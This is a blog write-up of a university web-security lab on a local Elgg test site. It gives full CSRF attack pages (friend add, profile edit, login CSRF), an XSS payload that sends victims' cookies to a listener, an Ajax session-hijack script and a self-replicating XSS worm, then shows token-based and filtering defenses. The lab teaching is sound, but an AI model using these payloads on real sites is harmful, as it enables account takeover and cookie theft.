[信息系统安全实验] 实验1.Web安全

最新推荐文章于 2022-06-01 11:34:09 发布
最新推荐文章于 2022-06-01 11:34:09 发布
阅读量2.6k 收藏 28
点赞数 5
分类专栏： 信息系统安全实验 文章标签： http 爬虫 html5
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LostUnravel/article/details/120396869
版权

[信息系统安全实验] 实验1.Web安全

CSRF

1 基于GET请求的CSRF攻击

  1. 首先登录 Samy 账号并手动添加 Alice 为好友，然后用 HTTP Header Live工具观察 HTTP 数据包. 可以看到是一个 GET 请求, 附带信息有 friend 的 id 号, 后面跟着 elgg_ts 类似时间戳以及一个 elgg_token 令牌. 重点在于 friend 的id 号.
    在这里插入图片描述
    在这里插入图片描述
  2. 通过浏览器的 inspector 来查看 Elgg 的 Newest members 页面. 如图可以看到用户的 id 号. 如图 Alice 的 id 为 42, 与上述截包是一致的.
    在这里插入图片描述
  3. 通过相同方法, 可以确定 Samy 的 id 号为 45.
    在这里插入图片描述
  4. 构建恶意网站内容如下, 其中的图片的源是添加好友的链接, 且 friend 的 id 号为 Samy 的 45.
<html>
<head>
    <title> CSRF-Task1 by hhy </title>
</head>
<body>
    <img src="http://www.csrflabelgg.com/action/friends/add?friend=45&__elgg_ts=1622835184&__elgg_token=xxEP4gr6rL4xooHVCKGfIg">
</body>
</html>

在这里插入图片描述
5. 然后 Alice 在登录状态下访问这个网址的 index.html, 即网站 www.csrflabattacker.com. 可以看到 HTTP Header Live 截获到了添加好友的请求报文, 其请求的参数 friend 的 id 为 45 即 Samy 的 id.
在这里插入图片描述
在这里插入图片描述
6. Alice 再从 Elgg 中查看好友可以看到其中就有了 Samy.
加好友前:
在这里插入图片描述
加好友后:
在这里插入图片描述

2 使用POST请求的CSRF攻击

  1. 首先尝试使用 Samy 账号修改自己的博客资料. 可以使用 HTTP Header Live 截获到如下数据包, 其中可以获得报文的传输数据内容.
    在这里插入图片描述
__elgg_token=G6Yr9PzxHiRsqb_JWcifTA&__elgg_ts=1622837577
&name=Samy
&description=<p>I am Samy.</p> 
&accesslevel[description]=2
&briefdescription=
&accesslevel[briefdescription]=2
&location=
&accesslevel[location]=2
&interests=
&accesslevel[interests]=2
&skills=
&accesslevel[skills]=2
&contactemail=
&accesslevel[contactemail]=2
&phone=
&accesslevel[phone]=2
&mobile=
&accesslevel[mobile]=2
&website=
&accesslevel[website]=2
&twitter=
&accesslevel[twitter]=2
&guid=45

提交后可以看到个人资料被成功修改.
在这里插入图片描述
2. 构建恶意网站内容如下, 其中主要是个 Js 函数标签, 内容是构造向 Elgg 发送修改个人资料的 POST 请求, 同时伪造提交的表单, 将 description 部分改为要伪造的内容 “Samy is my hero”, 以及将 guid 设置为 Alice 的 guid.

<html>

<head>
    <title> CSRF-Task2 by hhy </title>
</head>

<body>
    <h1>
        CSRF TASK 2
    </h1>
    <script type="text/javascript">
        // 提交表单函数
        function post(url, fields) {
            // 创建一个 <form> 元素
            var p = document.createElement("form");
            // 构造表单
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            // 将这个form表单添加到当前页面中
            document.body.appendChild(p);
            // 提交form表单
            p.submit();
        }
        // CSRF攻击函数
        function csrf_hack() {
            var fields;
            // 构造修改Elgg个人资料的表单具体内容
            // description的内容设置为伪造的话
            // 表单的类型是隐藏(hidden)的, 使得受害者不会察觉
            // 注意guid设为Alice的42
            fields += "<input type='hidden' name='name' value='Alice'>";
            fields += "<input type='hidden' name='description' value='Samy is my hero'>";
            fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
            fields += "<input type='hidden' name='briefdescription' value=''>";
            fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
            fields += "<input type='hidden' name='location' value=''>";
            fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
            fields += "<input type='hidden' name='guid' value='42'>";
            var url = "http://www.csrflabelgg.com/action/profile/edit";
            post(url, fields);
        }
        // 当页面窗口加载时调用攻击函数
        window.onload = function () { csrf_hack(); }
    </script>
</body>

</html>
  1. 当 Alice 在登录状态下访问这个网址的 index.html, 即网站 www.csrflabattacker.com. 可以看到 HTTP Header Live 截获到了修改个人资料的数据包. 同时可以看到, Alice 博客主要的个人资料已经被成功篡改.
    在这里插入图片描述
    在这里插入图片描述

3 实现login CSRF攻击

  1. 首先尝试登录 Samy 的账号, 并使用 HTTP Header Live 截获到如下数据包, 其中可以获得报文的传输数据内容.
    在这里插入图片描述
__elgg_token=mB57J1OQNxxwraW2CHSLOw&__elgg_ts=1623169962&username=samy&password=seedsamy&returntoreferer=true
  1. 根据数据包中提交的参数信息构建恶意网站, 设计思路同任务 2, 利用 Js 提交登录表单.
<html>

<head>
    <title> CSRF-Task3 by hhy </title>
</head>

<body>
    <h1>
        CSRF TASK 3
    </h1>
    <script type="text/javascript">
        // 提交表单函数
        function post(url, fields) {
            // 创建一个 <form> 元素
            var p = document.createElement("form");
            // 构造表单
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            // 将这个form表单添加到当前页面中
            document.body.appendChild(p);
            // 提交form表单
            p.submit();
        }
        // CSRF攻击函数
        function csrf_hack() {
            var fields;
            // 构造登录Elgg的表单
            // description的内容设置为伪造的话
            // 表单的类型是隐藏(hidden)的, 使得受害者不会察觉
            fields += "<input type='hidden' name='username' value='Samy'>";
            fields += "<input type='hidden' name='password' value='seedsamy'>";
            fields += "<input type='hidden' name='returntorefer' value='true'>";
            var url = "http://www.csrflabelgg.com/action/login";
            post(url, fields);
        }
        // 当页面窗口加载时调用攻击函数
        window.onload = function () { csrf_hack(); }
    </script>
</body>

</html>
  1. 如图当前是 Alice 的账号处于登录状态.
    在这里插入图片描述
  2. 当 Alice 在登录状态访问了恶意网站 www.csrflabattacker.com, 则会发现提示登录成功, 且根据左上角图标可以确定当前登录的账号已经变为了 Samy. 同时可以看到 HTTP Header Live 也截获到了登录的数据包.
    在这里插入图片描述
    在这里插入图片描述

4 防御策略

  1. 打开防御策略: 进入目录 /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg 并在 ActionsService.php 文件中找到函数 gatekeeper, 并注释掉开头的 return true 这条语句.
    在这里插入图片描述
  2. 重新尝试任务 1 的攻击.
    如图 HTTP Header Live 截获到数据包中包含 Elgg 的时间戳和令牌, 不过其内容是任务 1 中截获的之前的时间戳和令牌.
    在这里插入图片描述
    如图, 可以看到 Alice 的博客页面会提示页面已经过期, 同时也没有添加 Samy 为好友, 攻击失效.
    在这里插入图片描述
  3. 重新尝试任务 2 的攻击.
    重新运行恶意网站, 由于使用 Js 构建表单是没有提交 Elgg 的时间戳和令牌, 因此如图 HTTP Header Live 截获到数据包中并没有 Elgg 的时间戳和令牌.
    在这里插入图片描述
    同时查看 Alice 的博客主页, 其也未遭到修改, 同时可以看到显示表单缺少了 __token 和 __ts 字段.
    在这里插入图片描述

XSS

1 发布恶意消息, 通过警告窗口显示Cookie

  1. 首先使用 Samy 账号登录 XSS Lab Site 的 Elgg 博客. 然后点击 “edit profile” 按钮编辑个人信息.
    在这里插入图片描述
  2. 在 “Brief description” 一栏添加 script 类型的 HTML 标签并保存, 其调用 alert() 函数来显示 cookie, 具体内容如下:
<script type = "text/javascript">alert(document.cookie);</script>

在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg 博客并访问 Samy 的主页, 如图访问时会弹出警告窗口显示其 cookie.
在这里插入图片描述

2 从受害者的机器上盗取Cookie

  1. 登录 Samy 的博客账号, 同样在其个人简介 “Brief description” 中添加 script 类型的 HTML 标签并保存, 用于将受害者的 cookie 通过 HTTP 发送给攻击者. 标签内容具体如下:
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
<!--127.0.0.1:5555为攻击者的IP地址-->

在这里插入图片描述
2. 使用 nc 命令监听 5555 端口, 并打开 Wireshark 截获数据包.
在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg 博客并访问 Samy 的主页
在这里插入图片描述
4. 访问时可以看到控制台监听到了数据包, 并得到了发送过来的 Alice 的 cookie.
在这里插入图片描述
5. Wireshark 中也截获到了发送 cookie 的请求数据包
在这里插入图片描述

3 使用Ajax脚本自动发起会话劫持

  1. 编写的 Ajax 脚本, 其主要思想是通过添加一个 <script> 标签运行代码, 在窗口加载时自动向修改自己博客主页的 URL 提交表单, 以达到修改受害者博客主页的目的. 具体代码如下:
<script type="text/javascript">
    window.onload = function () {
        // 表单的基本信息
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;    // Elgg令牌
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;    // Elgg时间戳
        var userName = "&name=" + elgg.session.user.name;    // 用户名
        var description = "&description=Samy is my hero. XSS By hhy";    // 个人介绍
        var accesslevel = "&accesslevel[description]=2";
        var guid = "&guid=" + elgg.session.user.guid;    // 用户guid
        
        var content = token + ts + userName + description + accesslevel + guid;    // 发送的内容
        var sendUrl = "http://www.xsslabelgg.com/action/profile/edit";      // 目标URL

        // 若当前访问者不为Samy自己,则使用Ajax发送请求来修改受害者个人介绍
        var samyGuid = 47;
        if (elgg.session.user.guid != samyGuid) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendUrl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

需要注意 XSS 中 Samy 的 guid 与 CSRF 中的不同, 为 47.
在这里插入图片描述
2. 修改 Samy 博客的 “About me” 内容为上述代码并保存:
注意编辑 “About me” 时选择右上角 “Edit HTML” 选项.
在这里插入图片描述
在这里插入图片描述
由于添加的是一个 <script> 标签, 因此修改完成后, “About me” 的内容为空.
在这里插入图片描述
3. 使用 Alice 的账号登录 Elgg, 并访问 Samy 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
在这里插入图片描述

4 构造XSS蠕虫

  1. 编写的 Ajax 脚本, 代码基本和任务 3 中的相同, 不同之处在于通过 encodeURIComponent 函数将整个 <script> 标签文本化, 并在代码构造表单时在 description 一项时还添加了该标签的内容, 这样受害者再访问 Samy 博客主页让自己的博客主页被篡改时, 个人介绍的内容不仅包括 “Samy is my hero” 这段话, 还有暗含的 <script> 标签的内容, 致使其他人在访问该主页时同样会被篡改, 达到蠕虫的效果. 具体代码如下:
<script id="worm" type="text/javascript">
    window.onload = function () {
        var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
        // 获取该标签下的内容
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "<\/script>";
        // 将整个script标签的代码进行封装
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        // 表单的基本信息
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;    // Elgg令牌
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;    // Elgg时间戳
        var userName = "&name=" + elgg.session.user.name;    // 用户名
        // 个人介绍, 发送时附带整个script标签的代码
        var description = "&description=Samy is my hero. XSS Worm By hhy" + wormCode;
        var accesslevel = "&accesslevel[description]=2";
        var guid = "&guid=" + elgg.session.user.guid;    // 用户guid

        var content = token + ts + userName + description + accesslevel + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

        var samyGuid = 47;
        if (elgg.session.user.guid != samyGuid) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  1. 修改 Samy 博客的 “About me” 内容为上述代码并保存:
    在这里插入图片描述
  2. 使用 Alice 的账号登录 Elgg, 并访问 Samy 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
    在这里插入图片描述
  3. 使用 Body 的账号登录 Elgg, 并访问 Alice 的博客主页. 然后在访问自己的主页, 发现自己的个人介绍信息已经被修改:
    在这里插入图片描述

5 防御策略

5.1 仅开启 HTMLawed, 但不开启 htmlspecialchars
  1. 开启 HTMLawed: 使用管理员 Admin 账号登录到 Elgg, 在 Account->administration(顶部菜单)->plugins(右侧面板), 在 filter 中选择 security and spam, 找到 HTMLawed 插件, 点击 Activate 来开启策略.
    在这里插入图片描述
  2. 此时再访问 Alice 的博客主页, 能够看到个人介绍 “About me” 一栏中 <script> 标签中的代码也显示了出来. 但由于代码缺少了的标签 <script type="text/javascript" id="worm">, 因此代码不会作为 <script> 标签加载到页面的 HTML 中, 也就不能被执行.
    在这里插入图片描述
  3. 将 Alice 主页的个人介绍内容清空, 重新访问 Samy 主页. 此时 Alice 的个人介绍并不会被篡改(因为此时 Samy 个人介绍中的代码同 Alice 的一样, 已经无法执行).
    在这里插入图片描述
5.2 开启 HTMLawed 和 htmlspecialchars
  1. 开启 htmlspecialchars: 进入 /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/ 目录并找到调用函数 htmlspecialchars() 的文件: text.php, url.php, dropdown.php, email.php. 在每个文件中取消注释相应的 htmlspecialchars() 函数调用.
    在这里插入图片描述
  2. 此时再访问 Body 的主页, 和仅开启 HTMLawed 相同. 但在编辑个人介绍时可以看到, 对于引号, 大于号小于号等都进行了转换.
    在这里插入图片描述
    在这里插入图片描述
PeakCrosser
关注
  • 5
    点赞
  • 踩
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
信息系统安全实验（四）：设计linux自启动程序盗取用户密码
agjirowjtg的博客
02-01 605
这是信息系统安全实验系列的第四篇~ 1. 实验目的        掌握Linux用户登录过程 2. 实验内容 （1）了解用户在登录Linux操作系统之后后台运行了什么程序； （2）编写程序，让用户登录完以后运行任何自己的应用程序。 3. 实验过程记录 （1）了解用户在登录Linux操作系统之后后台运行了什么程序        输入命令ps -l可以看到运行的进程，如图1所示： ...
Web安全实验
qq_60144848的博客
09-11 336
实验内容：Fiddler抓包实验 实验步骤：根据文件2.1展开实验，记录实验结果与分析。 实验一：Fiddler 修改User-Agent ，伪装客户端。 仿造实验一，模拟手机访问其他网站。将实验步骤记录下来，结果截图保存。 实验二：Fiddler 修改HTTP 请求。 请写出实验步骤，并将结果截图保存。 实验三：Fiddler 修改HTTP 响应--修改网页标题 请写出实验步骤，并将结果截图保存。 实验四：替换网页中图片 ...
信息安全 实验四、web安全
lzk的博客
05-29 953
实验四、web安全 一、实验目的及要求 1．熟悉浏览器安全的方法； 2．了解网页编程中SQL注入手段和防范措施； 3．强化动态网页设计安全意识。 二、实验学时 2学时 三、实验任务 掌握浏览器与动态网页设计的安全技术手段 四、实验重点、难点 动态网页设计的安全技术 五、实验过程： 1、web浏览器比如IE浏览器的安全技术手段有哪些？请尽可能列出来。 答： 1.白名单 2.禁用或限制使用Java程序及ActiveX控件 3.防止泄露自己的信息 4.清除已浏览过的网址 5.清除已访问过的网页 6.永远不怕IE主
[信息系统安全实验] 实验2.软件安全
LostUnravel的博客
09-20 594
[信息系统安全实验] 实验2.软件安全 格式化字符串漏洞 prog1 prog1.c 代码: /* prog1.c */ #include <stdio.h> void fmtstr() { char input[100]; int var = 0x11223344; /* print out information for experiment purpose */ printf("Target address:
信息系统安全实验——Week 5
Coco_T的博客
04-02 5313
T1.利用计划任务获取flag 题目描述 在操作机中通过ssh连接靶机，账号test、密码123，进行后续的操作。（靶机IP地址见题目中拓扑图）。 靶机环境中配置了一个仅有root运行权限的定时脚本writable.sh，脚本功能分析代码可得。 与此同时，靶机环境中/root文件下配置了一个可执行文件getflag，即/root/getflag，用以获取flag。 请分析并利用该定时任务，获取flag。 Keyword：shell脚本执行方式，输出重定向 网络拓扑图如下： SSH口令远程登录 口令登录
华中科技大学信息系统安全实验报告.zip
06-11
《华中科技大学信息系统安全实验报告》是对信息安全领域深入探索的一份详实资料，涵盖了软件安全、Web安全以及新兴的区块链技术。这篇实验报告旨在通过理论与实践相结合的方式，让学生理解和掌握信息系统安全的关键...
web综合实验售书系统.doc
最新发布
12-01
本实验报告的主要目标是设计和实现一个在线图书销售系统，利用 ASP.NET WEB 程序来实现该系统。该系统的主要功能包括首页展示商品信息、搜索页面、图书分类列表页、购物车功能页等。 系统分析 在设计在线图书销售...
Web应用安全：越权下载文件实验.docx
06-18
Web 应用安全：越权下载文件实验 Web 应用安全是指保护 Web 应用程序免受各种攻击和恶意行为的安全保护措施。越权下载文件实验是 Web 应用安全中的一个重要实验，它测试了 Web 应用程序是否存在越权下载漏洞。 ...
信息安全技术：证书申请实验.doc
11-01
本文档主要介绍了如何进行信息安全技术中的证书申请实验，涉及到的主要概念和技术包括： 1. **X509 数字证书**：X509 是一种标准格式，用于表示公开密钥证书。这种证书包含了关键信息，如证书持有者的身份、公钥、...
信息系统安全实验（七）：使用Kerberos实现网络身份认证
agjirowjtg的博客
02-01 5987
这是信息系统安全实验系列的第七篇~ 1. 背景知识 （1）概述        Kerberos又指麻省理工学院为这个协议开发的一套计算机网络安全系统。系统设计上采用客户端/服务器结构与DES加密技术，并且能够进行相互认证，即客户端和服务端均可对对方进行身份认证。 （2）概念 ①    密钥分发中心（KDC）        Kerberos使用了一个由两个独立的逻辑部分：认证服务器（同身...
信息系统安全实验报告
11-26
信息系统安全实验报告，里面含有所有实验日志
信息系统安全实验——Week 4
Coco_T的博客
03-27 4088
T1.前端绕过 题目描述 只需要把10位的密码输到长度限制为9位的输入框内，然后就可以得到flag！ 网络拓扑图如下 打开浏览器，访问一下靶机 我第一个想法就是查看一下网页源码（F12） 里面有一个 " main.php " 文件，查看一下 后来发现是登陆失败的提示界面 细心一点，可以发现网页源码中有一些没有展开的代码块 我们耐心一点把代码全部展开 在浅蓝色的那一行，就发现了输入框的maxlength参数 抱着试一试的心态，直接修改网页代码，成功！！！ 修改源码之后，输入框就可以输入10位密码了
信息系统安全实验——Week 7
Coco_T的博客
04-16 5341
T1.寻找特权程序 题目描述 靶机配置了ssh，可以账号test、密码123通过ssh登录到靶机进行攻击。（靶机IP地址见题目中网络拓扑图） 在Linux系统中文件的权限是很重要的一部分，通常的权限由读、写、执行三位组成，对每个文件都指定了文件所有者、同用户组的权限和其它非本用户组的权限。同时Linux中还有特殊的suid、sgid权限。设置了suid/sgid权限的文件，任何用户在执行该文件时，都将拥有文件属主/属组账号对应的权限。 在靶机环境中，设置有一个属于root用户，同时设置了suid权限的文件
信息系统安全实验——Week 6
Coco_T的博客
04-08 4522
T1.审计过滤 题目描述 浏览器进入靶机IP地址首页，并借助靶机IP/Source.txt所提供的首页源码，尝试构造合适的number过滤掉所有的限制条件，找到flag！ 操作机：1.7.197.2 靶机：1.7.197.3 查看1.7.197.3/Source.txt <?php $info = ""; $req = []; $flag="xxxxx"; ini_set("display_error", false); //为一个配置选项设置值 error_reporting(0); /
信息安全原理与技术第一次实验：系统安全实验
sjx3161的博客
05-29 2891
信息安全原理与技术第一次实验：系统安全实验前言一、实验目的二、实验原理三、实验环境四、实验内容四、思考题 前言 为了帮助同学们完成痛苦的实验课程设计，本作者将其作出的实验结果及代码贴至CSDN中，供同学们学习参考。如有不足或描述不完善之处，敬请各位指出，欢迎各位的斧正！ 该文图片非常多，字数约两万余字，请注意流量消耗！ 一、实验目的 掌握Windows帐户与密码设置方法； 掌握文件系统的保护和加密方法； 掌握Windows操作系统安全策略与安全模板的使用、审核和日志的启用的方法； 掌握Windows操作系
信息系统安全实验——Week 8
Coco_T的博客
04-23 5267
T1.ssh免密登录 题目描述 通过操作机终端使用ssh登录靶机的test用户（密码123），flag用户目录中存放了可用于ssh免密码登录靶机的flag用户所必要的文件，使用这些文件登录靶机的flag用户，flag存在于flag用户目录中。 操作机：1.10.138.2 靶机：1.10.138.3 首先，在网上了解一下ssh免密登陆的配置步骤：从A登陆B 在B上输入命令ssh-keygen -t rsa，按下三次回车（使用默认配置） 然后我们就会在~/.ssh生成两个文件：公钥id_rsa.pub和
信息安全原理与技术第三次实验：系统安全实验
sjx3161的博客
06-01 1457
为了帮助同学们完成痛苦的实验课程设计，本作者将其作出的实验结果及代码贴至CSDN中，供同学们学习参考。如有不足或描述不完善之处，敬请各位指出，欢迎各位的斧正！1．通过实验深入理解入侵检测系统的原理和工作方式。 2．熟悉入侵检测工具 Snort 在 Windows 操作系统中的安装和配置方法。1．IDS 入侵检测系统（Intrusion Detection System，IDS）是针对计算机和网络系统资源上的恶意使用行为进行识别和响应的处理系统。它在不影响网络性能的前提下，对网络进行警戒、监控，从计算机网络的
无线网络实验之三：无线网络的安全设置--WEP
weixin_34417200的博客
03-19 886
AP的设置 1、更改SSID号和信道： 无线设置---基本设置 客户端重新搜索接入到网络 2、加密： 1）AP无线设置---基本设置 共享 16进制 64位对应10位16进制数或5个ASCII字符 如1234567890 默认 128位对应26位16进制数或13个ASCII字符 如26个1 ...
web安全防御--xss
捣蛋小Y的博客
04-08 136
一.XSS的攻击方式 反射型存储型 反射型：发出请求时，XSS代码出现在URL中，作为输入提交到服务器，服务器解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码，这个过程像一次反射，所以叫做反射型。 存储型：但是 二.demo演练 反射型 服务器端代码 router.get('/', function
Juyere安全程序攻击实验指南：Web安全实践
"中山大学的Web安全大作业实验指南，主要围绕Juyere平台进行，内容涵盖Web安全实践，特别是Juyere安全程序攻击实验，旨在深入理解Web安全因素、学习Web漏洞攻击原理以及掌握基本的Web安全编程技巧。实验分为四个部分...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值